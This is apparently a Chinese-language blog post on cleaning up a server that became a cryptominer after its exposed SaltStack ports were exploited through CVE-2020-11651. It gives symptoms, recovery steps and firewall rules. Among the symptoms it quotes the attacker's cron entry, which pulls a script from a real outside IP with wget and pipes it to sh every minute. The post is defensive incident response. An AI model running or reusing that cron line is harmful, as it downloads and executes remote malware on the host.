saltstack的端口暴露在公网导致成矿机的排查

一、描述

SaltStack是一套C/S架构的运维工具,服务端口默认为4505/4506,两个端口如果对外网开放危害非常大,黑客利用SaltStack的远程命令执行漏洞CVE-2020-11651可以直接绕过Salt-Master的认证机制获取root权限,调用相关函数向Salt-Minion下发指令执行系统命令,最终导致被黑客利用。

二、成为矿机的现象

1,443等端口的服务被kill,它还会找出占用cpu内存最大的进程kill,以保证自己有空余的资源可用,同时还会kill掉其他挖矿进程;
2,/var/log/message 中的“systemd: Created slice User Slice of root.”下面有大量的kill日志;
3,受害Salt-Minion机器上存在挖矿进程salt-minions;
4,/tmp下有可疑二进制文件:salt-store、salt-minions;
5,crontab -l 可以看到以下两个计划任务;

* * * * * wget -q -O - http://217.8.117.137/c.sh | sh > /dev/null 2>&1
* * * * * /usr/bin/salt-store || /tmp/salt-store || /var/tmp/salt-store

6,cat /var/log/cron 中有大量可疑命令执行记录;

三、恢复

1,清理crontab
2,停止恶意进程

kill -9 `pidof salt-store` && kill -9 `pidof salt-minions`

3,删除恶意文件

rm -rf /tmp/salt-* /var/tmp/salt-*

4,升级saltstack

# 影响版本
SaltStack < 2019.2.4
SaltStack < 3000.2
# 安全版本
2019.2.4
3000.2

5,配置防火墙针对指定IP开放4505、4506端口

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="192.168.0.163" port protocol="tcp" port="4505" accept"
firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="192.168.0.163" port protocol="tcp" port="4506" accept"

6,在出口路由器配置ACL

本文链接:

http://blog.ps-ef.cn/CentOS/45.html
1 + 3 =
快来做第一个评论的人吧~